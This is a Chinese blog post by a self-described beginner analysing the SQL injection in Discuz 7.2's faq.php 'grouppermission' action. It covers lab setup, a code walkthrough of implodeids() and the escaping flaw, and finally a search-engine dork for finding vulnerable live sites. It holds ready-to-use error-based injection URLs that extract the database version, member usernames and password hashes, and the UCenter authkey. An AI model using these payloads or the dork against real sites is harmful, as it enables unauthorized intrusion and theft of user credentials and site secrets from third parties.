分析dz 7.2 漏洞

  作为小白,自学时一件比较头痛的事,最主要是看到一个漏洞你要去分析,和要有对应环境去尝试。。。我这里就完全搭建一次环境,并且最后会提到去发现漏洞网站的方法。
  第一步我们要去下载DZ7.2和UCENTER
DZ7.2                    http://www.comsenz.com/downloads/install/discuz#down_open
ucenter(一个管理平台)    http://www.comsenz.com/downloads/install/ucenter#
我是用Xampps这个套件,这个套件平台可以看我的sqli-labs里面有一个安装教程链接,或者自行百度。安装时先安装UCENTER,然后DZ7.2,php.ini short_open_tag = Off(改为On)
  代码分析就是到php.faq里面,就是压缩包解压了upload这个文件夹下


} elseif($action == 'grouppermission') {
//中间一堆无关代码,省略掉
   ksort($gids);//函数按照键名对数组排序,为数组值保留原来的键
$groupids = array(); //创建数组
foreach($gids as $row) {  //进行遍历gids数组
$groupids[] = $row[0];  //取出gids数组所有值第一个进行赋值
}


$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids


($groupids).")");//这个时候如果你不是很熟悉文件的话,我现在就下载PHP调试工具,尼玛implodeids这个函数我找不到,好麻烦啊
这个函数在global.func.php 终于找到了




function implodeids($array) {
if(!empty($array)) {
return "'".implode("','", is_array($array) ? $array : array($array))."'";
} else {
return '';
}
}
implode//就是将元素组合成一个字符串
is_array($array)//检测是否是数组,其实就是保证一定是数组
然后了。。。假如groupids 1234   =>>'1','2','3','4' 那么我输入groupids 12\) =>> '1','2','\',')' 这不就是注入啦
但是groupids \怎么能有这个符号了,那么就是row[0]=\取值,那么看下转义方法
discuz在全局会对GET数组进行addslashes转义,也就是说会将'转义成\',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row


[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。
我尝试\输入,一样也可以利用,不知道是为什么,==我慢慢学习吧。




下面SQL注入语句,至于EXP,暂时不会写,=我学吧。


1.faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema 
.tables group by x)a)%23
返回


SQL: SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','\',') and (select 1 from (select count


(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)#')
Error: Duplicate entry '5.0.22-log1' for key 1
Errno.: 1062


语法知识补充
select 1 from mytable;与select anycol(目的表集合中的任意一行) from mytable;与select * from mytable 作用上来说是没有差别的,都是查看是否有记录,一般是作条件用的。


select 1 from 中的1是一常量,查到的所有行的值都是它,但从效率上来说,1>anycol>*,因为不用查字典表。
select count(*) from 表名   这个是查询表的所有记录数
floor() 函数向下舍入为最接近的整数。
select count(*),concat(version(),floor(rand(0)*2)//这句话我不明白


2.密码获取,有2种语句,自己看吧,基本上知识点都到了
2.获取账号密
faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat(0x23 (select concat(username,0x27,password) from cdb_members 


limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by a)b--)%23


faq.php?action=grouppermission&gids[99]='&gids[100][0]=) union select 1 from (select count(*),concat(0x23,(select concat(username,0x23,password) from cdb_members limit 


1),0x23,floor(rand(0)*2))a from information_schema.tables group by a)b-- a


3.获取KEY
faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from 


cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23




faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,63,64) from 


cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23




我还没明白他那个PHP语句哪里有漏洞,以后再分析吧,给出别人的分析地址
http://www.wooyun.org/bugs/wooyun-2014-048137
http://www.oldjun.com/blog/index.php/archives/76/
http://www.oldjun.com/blog/index.php/archives/59/


哦,再说一下我是怎么发现漏洞网站,就用搜索引擎

这次intitle:Discuz 7.2 inurl:faq.php在百度里面搜索,然后自己换吧

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值